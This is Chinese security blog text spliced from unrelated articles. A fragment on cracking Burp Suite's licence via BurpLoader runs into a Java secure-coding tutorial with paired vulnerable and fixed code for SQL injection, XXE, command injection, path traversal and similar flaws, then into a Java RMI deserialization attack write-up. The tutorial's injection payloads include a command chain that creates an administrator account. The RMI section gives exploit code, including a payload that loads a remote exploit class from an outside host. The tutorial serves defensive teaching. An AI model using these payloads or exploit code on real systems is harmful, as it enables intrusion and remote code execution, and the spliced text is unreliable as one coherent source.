其效果如截图所示 其中前8行输出为之前BurpLoader恶意修改的目标原值(对我的计算机而言),同一台设备运行多少遍都是不变的,后面的key由于我之前运行过BurpLoader因此是恶意修改后的值(但是由于前8行没有修改因此不能通过Burpsuite验证),可见BurpLoader其实是使用了同一个密钥来注册所有不同计算机的,只不过修改并固定了某些参与密钥计算的环境变量而已,这大概就是Burpsuite破解的主要思路了,至于最初能用的license是怎么计算出来的,我们以后再研究

0x00 安全引言

1、传统Web应用与新兴移动应用

(1)传统Web应用:浏览器 HTTP 服务器 (2)新兴移动应用:APP HTTP 服务器 从安全角度看,传统Web应用与新兴移动应用没有本质区别

2、Web应用安全的核心问题是什么?

用户提交的数据不可信是Web应用程序核心安全问题 用户可以提交任意输入 例如: √ 请求参数->多次提交或者不提交 √ 修改Cookie √ 修改HTTP信息头 √ 请求顺序->跳过或者打乱

3、Web应用防御

(1)完善的异常处理 (2)监控 (3)日志:记录重要业务、异常的详细请求信息

4、对输入的处理

建议采用:白名单 尽量避免:净化或黑名单

0x01 SQL注入

1、原理:

(1)合法输入:
id=1 SELECT * FROM users WHRER id='1';
(2)恶意注入:
id=1' or '1'='1 SELECT * FROM users WHRER id='1' or 'a'='a';

2、Java代码分析(JDBC)

(1)不合规代码(SQL参数拼接)
public class SQLInject { public static void main(String
args)throws Exception{ //正常输入 select("1"); // 恶意输入 select("' or 'a'='a"); } public static void select(String id){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://localhost:3306/mybatis"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "budi"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.创建statement类对象,用来执行SQL语句!! Statement statement = con.createStatement(); //要执行的SQL语句 String sql = "select * from users where id='"+id+"'"; //3.ResultSet类,用来存放获取的结果集!! ResultSet rs = statement.executeQuery(sql); System.out.println("-----------------"); System.out.println("执行结果如下所示:"); System.out.println("-----------------"); String age,name; while(rs.next()){ //获取stuname这列数据 name = rs.getString("name"); //获取stuid这列数据 age = rs.getString("age"); //输出结果 System.out.println(name + "\t" + age); } rs.close(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } }
执行结果:
SQL Paramter:1 ----------------- budi 27 ----------------- SQL Paramter:' or 'a'='a ----------------- budi 27 budisploit 28 -----------------
(2)合规代码(参数化查询)
public class SQLFormat { public static void main(String
args)throws Exception{ select("1"); select("' or 'a'='a"); } public static void select(String id){ //声明Connection对象 Connection con; //驱动程序名 String driver = "com.mysql.jdbc.Driver"; //URL指向要访问的数据库名mydata String url = "jdbc:mysql://localhost:3306/mybatis"; //MySQL配置时的用户名 String user = "root"; //MySQL配置时的密码 String password = "budi"; //遍历查询结果集 try { //加载驱动程序 Class.forName(driver); //1.getConnection()方法,连接MySQL数据库!! con = DriverManager.getConnection(url,user,password); if(!con.isClosed()) System.out.println("Succeeded connecting to the Database!"); //2.//要执行的SQL语句 String sql = "select * from users where id=?"; //3.创建statement类对象,ResultSet类,用来存放获取的结果集!! PreparedStatement stmt = con.prepareStatement(sql); stmt.setString(1, id); ResultSet rs = stmt.executeQuery(); System.out.println("-----------------"); System.out.println("执行结果如下所示:"); System.out.println("-----------------"); String age,name; while(rs.next()){ //获取stuname这列数据 name = rs.getString("name"); //获取stuid这列数据 age = rs.getString("age"); //输出结果 System.out.println(name + "\t" + age); } rs.close(); con.close(); } catch(ClassNotFoundException e) { //数据库驱动类异常处理 System.out.println("Sorry,can`t find the Driver!"); e.printStackTrace(); } catch(SQLException e) { //数据库连接失败异常处理 e.printStackTrace(); }catch (Exception e) { // TODO: handle exception e.printStackTrace(); }finally{ System.out.println("数据库数据成功获取!!"); } } }
执行结果:
SQL Paramter:1 ----------------- budi 27 ----------------- SQL Paramter:' or 'a'='a ----------------- -----------------

3、防范建议:

√ 采用参数查询即预编译方式(首选) √ 字符串过滤

0x02 XML注入

1、原理

(1)合法输入:
quantity=1 apple 500.0 1
(2)恶意输入:
quantity=15.01 apple 500.0 15.01

2、Java代码分析

(1)不合规代码(未进行安全检查)
public class XMLInject2 { public static void main(String
args) { // 正常输入 ArrayList> normalList=(ArrayList>) ReadXML("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\inject\\normal.xml","price"); System.out.println(normalList.toString()); // 异常输入 ArrayList> evilList=(ArrayList>) ReadXML("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\inject\\evil.xml","price"); System.out.println(evilList.toString()); } private static List> ReadXML(String uri,String NodeName){ try { //创建一个解析XML的工厂对象 SAXParserFactory parserFactory=SAXParserFactory.newInstance(); //创建一个解析XML的对象 SAXParser parser=parserFactory.newSAXParser(); //创建一个解析助手类 MyHandler myhandler=new MyHandler(NodeName); parser.parse(uri, myhandler); return myhandler.getList(); } catch (Exception e) { e.printStackTrace(); } return null; } }
运行结果:
正常输入结果:
恶意输入结果:

(2)合规代码(利用schema安全检查)

测试代码
public class XMLFormat{ public static void main(String
args) { //测试正常输入 test("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\inject\\normal.xml"); //测试异常输入 test("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\inject\\evil.xml"); } private static void test(String file) { SchemaFactory schemaFactory = SchemaFactory .newInstance("XMLConstants.W3C_XML_SCHEMA_NS_URI"); Schema schema; try { schema = schemaFactory.newSchema(new File("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\inject\\schema.xsd")); Validator validator = schema.newValidator(); validator.setErrorHandler(new ErrorHandler() { public void warning(SAXParseException exception) throws SAXException { System.out.println("警告:" + exception); } public void fatalError(SAXParseException exception) throws SAXException { System.out.println("致命:" + exception); } public void error(SAXParseException exception) throws SAXException { System.out.println("错误:" + exception); } }); validator.validate(new StreamSource(new File(file))); System.out.println("解析正常");; } catch (SAXException e) { // TODO Auto-generated catch block //e.printStackTrace(); System.out.println("解析异常"); } catch (IOException e) { // TODO Auto-generated catch block //e.printStackTrace(); System.out.println("解析异常"); } } }
运行结果:
正常输入........ 解析正常 恶意输入........ 错误:org.xml.sax.SAXParseException; systemId: file:/D:/JavaWorkspace/TestInput/src/cn/com/budi/xml/inject/evil.xml; lineNumber: 7; columnNumber: 10; cvc-complex-type.2.4.d: 发现了以元素 'price' 开头的无效内容。此处不应含有子元素。

3、防范建议:

√ 文档类型定义(Document Type Definition,DTD) √ XML结构化定义文件(XML Schemas Definition) √ 白名单

0x03 XXE (XML external entity)

1、原理:

(1)合法输入:
> &file &lastname;
(2)恶意输入:
> &file; &lastname;

2、Java代码分析

(1)不合规代码(未安全检查外部实体)
public class XXEInject { private static void receiveXMLStream(InputStream inStream, MyDefaultHandler defaultHandler) { // 1.获取基于SAX的解析器的实例 SAXParserFactory factory = SAXParserFactory.newInstance(); // 2.创建一个SAXParser实例 SAXParser saxParser = factory.newSAXParser(); // 3.解析 saxParser.parse(inStream, defaultHandler); } public static void main(String
args) throws FileNotFoundException, ParserConfigurationException, SAXException, IOException{ //正常输入 receiveXMLStream(new FileInputStream("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\xxe\\inject\\normal.xml"), new MyDefaultHandler()); //恶意输入 receiveXMLStream(new FileInputStream("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\xxe\\inject\\evil.xml"), new MyDefaultHandler()); } }
运行结果:
正常输入,等待解析...... XEE TEST !! ========================== 恶意输入,等待解析...... OWASP BWA root/owaspbwa Metasploitable msfadmin/msfadmin Kali Liunx root/wangpeng
(2)合规代码(安全检查外部实体)
public class CustomResolver implements EntityResolver{ public InputSource resolveEntity(String publicId, String systemId) throws SAXException, IOException{ //System.out.println("PUBLIC:"+publicId); //System.out.println("SYSTEM:"+systemId); System.out.println("引用实体检测...."); String entityPath = "file:///D:/test.txt"; if (systemId.equals(entityPath)){ System.out.println("合法解析:"+systemId); return new InputSource(entityPath); }else{ System.out.println("非法实体:"+systemId); return new InputSource(); } } }
测试代码
public class XXEFormat { private static void receiveXMLStream(InputStream inStream, MyDefaultHandler defaultHandler) { // 获取基于SAX的解析器的实例 SAXParserFactory factory = SAXParserFactory.newInstance(); // 创建一个SAXParser实例 SAXParser saxParser; try { saxParser = factory.newSAXParser(); //创建读取工具 XMLReader reader = saxParser.getXMLReader(); reader.setEntityResolver(new CustomResolver()); reader.setErrorHandler(defaultHandler); InputSource is = new InputSource(inStream); reader.parse(is); System.out.println("\t成功解析完成!"); } catch (ParserConfigurationException e) { // TODO Auto-generated catch block System.out.println("\t非法解析!"); } catch (SAXException e) { // TODO Auto-generated catch block System.out.println("\t非法解析!"); } catch (IOException e) { // TODO Auto-generated catch block System.out.println("\t非法解析!"); } } public static void main(String
args) throws ParserConfigurationException, SAXException, IOException{ //正常输入 System.out.println("正常输入,等待解析......"); receiveXMLStream(new FileInputStream("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\xxe\\inject\\normal.xml"), new MyDefaultHandler()); System.out.println("=========================="); //恶意输入 System.out.println("恶意输入,等待解析......"); receiveXMLStream(new FileInputStream("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\xml\\xxe\\inject\\evil.xml"), new MyDefaultHandler()); } }
运行结果:
正常输入,等待解析...... 引用实体检测.... 合法解析:file:///D:/test.txt 成功解析完成! ========================== 恶意输入,等待解析...... 引用实体检测.... 非法实体:file:///D:/password.txt 非法解析!

3、防范建议:

√ 白名单

0x04命令注入

1、原理:

(1)正常输入:
dir
(2)恶意输入:
dir & ipconfig & net user budi budi /add & net localgroup Administrators admin /add

2、Java代码分析

(1)非合规Window命令注入
public class OrderWinFault { public static void main(String
args) throws Exception{ //正常命令 runOrder("dir"); //恶意命令 runOrder("dir & ipconfig & net user budi budi /add & net localgroup Administrators admin /add"); } private static void runOrder(String order) throws IOException, InterruptedException{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("cmd.exe /C "+order); int result = proc.waitFor(); if(result !=0){ System.out.println("process error: "+ result); } InputStream in = (result == 0)? proc.getInputStream() : proc.getErrorStream(); BufferedReader reader=new BufferedReader(new InputStreamReader(in)); StringBuffer buffer=new StringBuffer(); String line; while((line = reader.readLine())!=null){ buffer.append(line+"\n"); } System.out.print(buffer.toString()); } }
(2)非合规的Linux注入命令
public class OrderLinuxFault { public static void main(String
args) throws Exception{ // 正常命令 runOrder("ls"); // 恶意命令 runOrder(" ls & ifconfig"); } private static void runOrder(String order) throws IOException, InterruptedException{ Runtime rt = Runtime.getRuntime(); Process proc = rt.exec(new String
{"sh", "-c", "ls "+order}); int result = proc.waitFor(); if(result !=0){ System.out.println("process error: "+ result); } InputStream in = (result == 0)? proc.getInputStream() : proc.getErrorStream(); BufferedReader reader=new BufferedReader(new InputStreamReader(in)); StringBuffer buffer=new StringBuffer(); String line; while((line = reader.readLine())!=null){ buffer.append(line+"\n"); } System.out.print(buffer.toString()); } }
(3)合规编码(对命令安全检查)
public class OrderFormat { public static void main(String
args) throws Exception{ runOrder("dir"); runOrder("dir & ipconfig & net user budi budi /add & net localgroup Administrators admin /add"); } private static void runOrder(String order) throws IOException, InterruptedException{ if (!Pattern.matches("
+", order)){ System.out.println("存在非法命令"); return; } Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("cmd.exe /C "+order); int result = proc.waitFor(); if(result !=0){ System.out.println("process error: "+ result); } InputStream in = (result == 0)? proc.getInputStream() : proc.getErrorStream(); BufferedReader reader=new BufferedReader(new InputStreamReader(in)); StringBuffer buffer=new StringBuffer(); String line; while((line = reader.readLine())!=null){ buffer.append(line+"\n"); } System.out.print(buffer.toString()); } }

3、防范建议:

√ 白名单 √ 严格权限限制 √ 采用命令标号

0x05 压缩炸弹(zip bomb)

(1)合法输入:
普通压缩比文件normal.zip
(2)恶意输入:
高压缩比文件evil.zip

2、Java代码分析


public class ZipFault { static final int BUFFER = 512; public static void main(String
args) throws IOException{ System.out.println("正常压缩文件......."); checkzip("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\zip\\normal.zip"); System.out.println("恶意压缩文件......."); checkzip("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\zip\\evil.zip"); } private static void checkzip(String filename) throws IOException{ BufferedOutputStream dest = null; FileInputStream fls = new FileInputStream(filename); ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fls)); ZipEntry entry; long begin = System.currentTimeMillis(); while ((entry = zis.getNextEntry()) != null){ System.out.println("Extracting:" + entry+"\t解压后大小:"+entry.getSize()); int count; byte data
= new byte
; FileOutputStream fos = new FileOutputStream("D:/"+entry.getName()); dest = new BufferedOutputStream(fos, BUFFER); while ((count = zis.read(data, 0, BUFFER))!=-1){ dest.write(data,0, count); } dest.flush(); dest.close(); } zis.close(); long end = System.currentTimeMillis(); System.out.println("解压缩执行耗时:" + (end - begin) + " 豪秒"); } }
运行结果:
正常压缩文件....... Extracting:normal.txt 解压后大小:17496386 解压缩执行耗时:382 豪秒 恶意压缩文件....... Extracting:evil.txt 解压后大小:2000000000 解压缩执行耗时:25911 豪秒
(2)合规代码
public class ZipFormat { static final int BUFFER = 512; static final int TOOBIG = 0x640000; public static void main(String
args) throws IOException{ checkzip("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\zip\\normal.zip"); checkzip("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\zip\\evil.zip"); } private static void checkzip(String filename) throws IOException{ BufferedOutputStream dest = null; FileInputStream fls = new FileInputStream(filename); ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fls)); ZipEntry entry; long begin = System.currentTimeMillis(); while ((entry = zis.getNextEntry()) != null){ System.out.println("Extracting:" + entry+"\t解压后大小:"+entry.getSize()); if (entry.getSize() > TOOBIG){ System.out.println("压缩文件过大"); break; } if (entry.getSize() == -1){ System.out.println("文件大小异常"); } int count; byte data
= new byte
; FileOutputStream fos = new FileOutputStream("D:/"+entry.getName()); dest = new BufferedOutputStream(fos, BUFFER); while ((count = zis.read(data, 0, BUFFER))!=-1){ dest.write(data,0, count); } dest.flush(); dest.close(); } zis.close(); long end = System.currentTimeMillis(); System.out.println("解压缩执行耗时:" + (end - begin) + " 豪秒"); } }
运行结果:
正常文件......... Extracting:normal.txt 解压后大小:17496386 解压缩执行耗时:378 豪秒 =================== 恶意文件......... Extracting:evil.txt 解压后大小:2000000000 压缩文件过大 解压缩执行耗时:0 豪秒

3、防范建议:

√ 解压前检查解压后文件大小

0x06 正则表达式注入

1、原理:

(1)合法输入
search=error
拼接后
(.*? +public\\
+.*error.*)
(2)恶意输入
search=.*)|(.*
拼接后
(.*? +public\\
+.*.*)|(.*.*)

2、Java代码分析

(1)非合规代码(未进行安全检查)
public class RegexFault { /** * 以行为单位读取文件,常用于读面向行的格式化文件 */ public static void readFileByLines(String filename,String search) { File file = new File(filename); BufferedReader reader = null; String regex ="(.*? +public\\
+.*"+search+".*)"; System.out.println("正则表达式:"+regex); try { reader = new BufferedReader(new FileReader(file)); String tempString = null; int line = 1; System.out.println("查找开始......"); // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { //System.out.println("line " + line + ": " + tempString); if(Pattern.matches(regex, tempString)){ // 显示行号 System.out.println("line " + line + ": " + tempString); } line++; } reader.close(); System.out.println("查找结束...."); } catch (IOException e) { e.printStackTrace(); } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { } } } } public static void main(String
args){ //正常输入 readFileByLines("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\regex\\regex.log","error"); //恶意输入 readFileByLines("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\regex\\regex.log",".*)|(.*"); } }
运行结果:
正常输入...... 正则表达式:(.*? +public\
+.*error.*) line 5: 10:48:08 public
Backup failed with error: 19 ============================ 恶意输入...... 正则表达式:(.*? +public\
+.*.*)|(.*.*) line 1: 10:47:03 private
Successful logout name: budi ssn: 111223333 line 2: 10:47:04 public
Failed to resolve network service line 3: 10:47:04 public
(public.message
) Exited with exit code: 255 line 4: 10:47:43 private
Successful login name: budisploit ssn: 444556666 line 5: 10:48:08 public
Backup failed with error: 19
(2)合规代码(进行安全检查)
public class RegexFormat { /** * 检测是否存在非法字符 * @param search */ private static boolean validate(String search){ for (int i = 0; i< search.length(); i++){ char ch = search.charAt(i); if(!(Character.isLetterOrDigit(ch) || ch ==' ' || ch =='\'')){ System.out.println("存在非法字符,查找失败...."); return false; } } return true; } /** * 以行为单位读取文件,常用于读面向行的格式化文件 */ public static void readFileByLines(String filename,String search) { if(!validate(search)){ return; } File file = new File(filename); BufferedReader reader = null; String regex ="(.*? +public\\
+.*"+search+".*)"; System.out.println("正则表达式:"+regex); try { reader = new BufferedReader(new FileReader(file)); String tempString = null; int line = 1; System.out.println("查找开始......"); // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { //System.out.println("line " + line + ": " + tempString); if(Pattern.matches(regex, tempString)){ // 显示行号 System.out.println("line " + line + ": " + tempString); } line++; } reader.close(); System.out.println("查找结束...."); } catch (IOException e) { e.printStackTrace(); } finally { if (reader != null) { try { reader.close(); } catch (IOException e1) { } } } } public static void main(String
args){ //正常输入 System.out.println("正常输入......"); readFileByLines("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\regex\\regex.log","error"); System.out.println("============================"); //恶意输入 System.out.println("恶意输入......"); readFileByLines("D:\\JavaWorkspace\\TestInput\\src\\cn\\com\\budi\\regex\\regex.log",".*)|(.*"); } }
运行结果:
============================ 正常输入...... 正则表达式:(.*? +public\
+.*error.*) line 5: 10:48:08 public
Backup failed with error: 19 ============================ 恶意输入...... 存在非法字符,查找失败....

3、防范建议:

√ 白名单

0x07 未净化输入

(1)日志记录 正常输入:
budi
日志记录:
User Login Successed for: budi
恶意输入:
budi \nUser Login Successed for: administrator
日志记录:
User Login Failed for: budi User Login Successed for: administrator
(2)更新用户名 正常输入:
username=budi
SQL查询:
SELECT * FROM users WHRER id='budi';
恶意输入:
username=budi' or 'a'='a
SQL查询:
SELECT * FROM users WHRER id='budi' or 'a'='a';

2、Java代码分析

(1)非合规代码(未安全检查)
public class LogFault { private static void writeLog( boolean isLogin,String username){ if(isLogin){ System.out.println("User Login Successed for: "+username); }else{ System.out.println("User Login Failed for: "+username); } } public static void main(String
args){ String test1= "budi"; System.out.println("正常用户登录成功后,记录日志....."); //正常用户登录成功后,记录日志 writeLog(true, test1); //恶意用户登录失败,记录日志 String test2 = "budi \nUser Login Successed for: administrator"; System.out.println("恶意用户登录失败,记录日志....."); writeLog(false, test2); } }
运行结果:
正常用户登录成功后,记录日志..... User Login Successed for: budi 恶意用户登录失败,记录日志..... User Login Failed for: budi User Login Successed for: administrator
(2)合规代码(安全检查)
public class LoginFormat { private static void writeLog( boolean isLogin,String username){ if(!Pattern.matches("
+", username)){ System.out.println("User Login Failed for Unknow User"); }else if(isLogin){ System.out.println("User Login Successed for: "+username); }else{ System.out.println("User Login Failed for: "+username); } } public static void main(String
args){ String test1= "budi"; System.out.println("正常用户登录成功后,记录日志....."); writeLog(true, test1); String test2 = "budi \nUser Login Successed for: administrator"; System.out.println("恶意用户登录失败,记录日志....."); writeLog(false, test2); } }
运行结果:
正常用户登录成功后,记录日志..... User Login Successed for: budi 恶意用户登录失败,记录日志..... User Login Failed for Unknow User

3、防范建议:

√ 先检测用户输入,强烈建议直接拒绝带非法字符的数据

0x08 路径遍历

 1、原理:

(1)正常输入:
john.txt
(2)恶意输入:
../../a.txt"

2、Java代码分析

(1)非合规代码(未安全检查)
public class PathFault { public static void main(String
args) throws IOException{ System.out.println("合法输入......."); readFile("john.txt"); System.out.println("\n恶意输入......."); readFile("../../a.txt"); } private static void readFile(String path) throws IOException{ File f = new File("F://passwords//"+path); String absPath = f.getAbsolutePath(); FileOutputStream fls = new FileOutputStream(f); System.out.print("绝对路径:"+absPath); if(!isInSecureDir(Paths.get(absPath))){ System.out.println("->非安全路径"); return; } System.out.print("->安全路径"); } private static boolean isInSecureDir(Path path){ if(!path.startsWith("F://passwords//")){ return false; }; return true; } }
运行结果:
合法输入....... 绝对路径:F:\passwords\john.txt->安全路径 恶意输入....... 绝对路径:F:\passwords\..\..\a.txt->安全路径
(2)合规代码(先统一路径表示)
public class PathFormat { public static void main(String
args) throws IOException{ System.out.println("合法输入......."); readFile("john.txt"); System.out.println("/n恶意输入......."); readFile("../../a.txt"); } private static void readFile(String path) throws IOException{ File f = new File("F://passwords//"+path); String canonicalPath = f.getCanonicalPath(); System.out.println("绝对路径"+canonicalPath); FileInputStream fls = new FileInputStream(f); if(!isInSecureDir(Paths.get(canonicalPath))){ System.out.print("非安全路径"); return; } System.out.print("安全路径"); } private static boolean isInSecureDir(Path path){ if(!path.startsWith("F://passwords//")){ return false; }; return true; } }
运行结果:
合法输入....... 绝对路径F:\passwords\john.txt->安全路径 恶意输入....... 绝对路径F:\a.txt->非安全路径

3、防范建议

√ 严格的权限限制->安全管理器 √ getCanonicalPath()在所有平台上对所有别名、快捷方式、符号链接采用统一的解析。

0x09 格式化字符串

1、原理:

(1)正常输入: 11 正常拼接:
System.out.printf("11 did not match! HINT: It was issued on %1$te rd of some month\n", c);
(2)恶意输入:
%1$tm或%1$te或%1$tY
恶意拼接:
System.out.printf("%1$tm did not match! HINT: It was issued on %1$te rd of some month\n", c);

2、Java代码分析

(1)非合规代码:
public class DateFault { static Calendar c = new GregorianCalendar(2016, GregorianCalendar.MAY, 23); public static void main(String
args){ //正常用户输入 System.out.println("正常用户输入....."); format("11"); System.out.println("非正常输入获取月份....."); format("%1$tm"); System.out.println("非正常输入获取日....."); format("%1$te"); System.out.println("非正常输入获取年份....."); format("%1$tY"); } private static void format(String month){ System.out.printf(month+" did not match! HINT: It was issued on %1$te rd of some month\n", c); } }
运行结果:
11 did not match! HINT: It was issued on 23rd of some month 非正常输入获取月份..... 05 did not match! HINT: It was issued on 23rd of some month 非正常输入获取日..... 23 did not match! HINT: It was issued on 23rd of some month 非正常输入获取年份..... 2016 did not match! HINT: It was issued on 23rd of some month
(2)合规代码:
public class DateFormat { static Calendar c = new GregorianCalendar(2016, GregorianCalendar.MAY, 23); public static void main(String
args){ //正常用户输入 System.out.println("正常用户输入....."); format("11"); System.out.println("非正常输入获取月份....."); format("%1$tm"); System.out.println("非正常输入获取日....."); format("%1$te"); System.out.println("非正常输入获取年份....."); format("%1$tY"); } private static void format(String month){ System.out.printf("%s did not match! HINT: It was issued on %1$te rd of some month\n", month, c); } }
运行结果:

正常用户输入..... 11 did not match! HINT: It was issued on Exception in thread "main" java.util.IllegalFormatConversionException: e != java.lang.String

3、防范建议:

√ 对用户输入进行安全检查 √ 在格式字符串中,杜绝使用用户输入参数

0x0A 字符串标准化

1、原理:

(1)合法输入:

username=budi

(2)恶意输入一:

username=/> username=/\uFE65\uFE64script\uFE65alert(1) \uFE64/script\uFE65

(3)恶意输入二:
username=A\uD8AB username=A?

2、Java代码分析

(1)非合规代码(先检查再统一编码)
public class EncodeFault { public static void main(String
args){ System.out.println("未编码的非法字符"); check("/>"); System.out.println("Unicode编码的非法字符"); check("/\uFE65\uFE64script\uFE65alert(1) \uFE64/script\uFE65"); } public static void check(String s){ Pattern pattern = Pattern.compile("
"); Matcher matcher = pattern.matcher(s); if (matcher.find()){ System.out.println(s+"->存在非法字符"); }else{ System.out.println(s+"->合法字符"); } s = Normalizer.normalize(s, Form.NFC); } }
运行结果:

未编码的非法字符 />->存在非法字符 Unicode编码的非法字符 /﹥﹤script﹥alert(1) ﹤/script﹥->合法字符

(3)合规代码(先统一编码再检查)
public class EncodeFormat { public static void main(String
args){ System.out.println("未编码的非法字符"); check("/>"); System.out.println("Unicode编码的非法字符"); check("/\uFE65\uFE64script\uFE65alert(1)\uFE64/script\uFE65"); } public static void check(String s){ s = Normalizer.normalize(s, Form.NFC); // 用\uFFFD替代非Unicode编码字符 s = s.replaceAll("^\\p{ASCII}]", "\uFFFD"); Pattern pattern = Pattern.compile("
"); Matcher matcher = pattern.matcher(s); if (matcher.find()){ System.out.println(s+"->存在非法字符"); }else{ System.out.println(s+"->合法字符"); } } }
运行结果:

未编码的非法字符 />->存在非法字符 Unicode编码的非法字符 />->存在非法字符

3、防范建议:

√ 先按指定编码方式标准化字符串,再检查非法输入 √ 检测非法字符

0x0B 最后总结


从安全角度看,移动应用与传统Web应用没有本质区别。 安全的Web应用必须处理好两件事:
处理好用户的输入(HTTP请求) 处理好应用的输出(HTTP响应)

参考文献: 《Java安全编码标准》

0x00 背景

在阐述java反序列化漏洞时,原文中提到:
Java LOVES sending serialized objects all over the place. For example: In HTTP requests – Parameters, ViewState, Cookies, you name it. RMI – The extensively used Java RMI protocol is 100% based on serialization RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come
在java使用RMI机制时,会使用序列化对象进行数据传输。这就会产生java反序列化漏洞。利用范围是很大。 之后,绿盟科技提到了JBoss中存在RMI机制方面的漏洞。最近又有了spring框架RCE漏洞,这个漏洞利用与RMI密切相关。 这里便整理关于RMI漏洞的相关漏洞,并进行简要利用分析。

0x01 RMI简介

摘自网络的简要介绍:
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
这里看出它的功能中是可以通过网络进行对象的传输,使其可以进行远程对象调用。下面就写一个简单的RMI程序,说明其存在反序列化漏洞问题。

0x02 RMI应用程序攻击

首先简单的实现一个服务端,启用RMI服务,绑定在6600端口:
#!java public class Run { public static void main(String
args) { try { //PersonServiceInterface personService=new PersonServiceImp(); //注册通讯端口 LocateRegistry.createRegistry(6600); //注册通讯路径 //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService); System.out.println("Service Start!"); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
上述代码中代码中,本来我使用bind函数,将personService对象绑定在服务器端供外部调用。 但我发现,即使没有任何对象绑定,只是用一行代码LocateRegistry.createRegistry(6600);,开通RMI服务。然后,通过访问服务端口(这里的6600端口),即可实现反序列化攻击。 这里进行利用当然遵从java反序列化漏洞中一个条件:Apache Commons Collections或者其他存在缺陷的第三方库包含在lib路径中。这里使用的是commons-collections-3.1.jar,将其加入到lib路径中。 这样,上述简单的RMI应用程序满足了反序列化漏洞的两个条件:
存在反序列化对象数据传输。 有缺陷的Apache Commons Collections第三方库在lib路径中。
攻击代码的编写:
#!java Object instance = PayloadGeneration.generateExecPayload("calc"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class
{Remote.class},h));//动态代理Rmote接口。 Registry registry = LocateRegistry.getRegistry(ip, port);//服务器端的ip和端口 try{ registry.bind("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }
这里将java反序列化漏洞的payload封装了下,PayloadGeneration.generateExecPayload("calc");会产生一个执行calc命令的对象,有兴趣的可以在我的github上查看源码。然后,将我们的payload发送到RMI服务端口进行攻击。 registry.bind("pwned", r);中r对象必须继承Remote接口。所以这里使用了java动态代理技术来代理Remote接口并生成其对象r。然后使用bind函数便可将攻击payload发送到RMI服务中,远程执行calc命令,攻击完成。本机测试如下: 这里可以看到,只要应用服务器上使用了RMI服务,并使用了Apache Commons Collections第三方库,就可能存在反序列化命令执行的漏洞。 值得关注的是,RMI服务的攻击,同样可以使用URLClassLoader方法进行回显。
#!java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");
同样,将封装好的payload换成URLClassLoader的攻击负载。便能加载远程的exploit.ErrorBaseError类,执行pwd命令,即可回显。这是我在Ubuntu上运行服务端进行的测试结果。 这里说明了应用程序在使用RMI机制时,会存在反序列化的问题。如果恰好使用了有缺陷的第三方库,那就可以远程命令执行了。接下来,看看实际场景中的相关漏洞。

0x03 JBoss RMI攻击利用

JBOSS符合我们在上述讨论中的两个条件:
它使用了RMI机制进行信息通信,端口1099使用了jndi和端口1090则是RMI服务端口。 并且包含了Apache Commons Collections第三方库。于是就可以说存在远程命令执行漏洞了。
在绿盟科技的文章中,提到了JBOSS中存在使用RMI机制的问题,可以在JMXInvoker删除的情况下获取shell。 于是可以这样重现命令执行。 使用如下命令启动jboss,默认就会对外开放所有端口。当然10.10.10.135代表本机ip。
#!bash ./run.sh -b 10.10.10.135
首先,扫描一下jboss服务器端口,这里我使用的是jboss-6.1.0.Final版本,安装在Ubuntu虚拟机中。使用nmap扫描结果如下:
#!bash 1090/tcp open ff-fms 1091/tcp open ff-sm 1098/tcp open rmiactivation 1099/tcp open rmiregistry 4446/tcp open n1-fwp 5500/tcp open hotline 8009/tcp open ajp13 8080/tcp open http-proxy 8083/tcp open us-srv
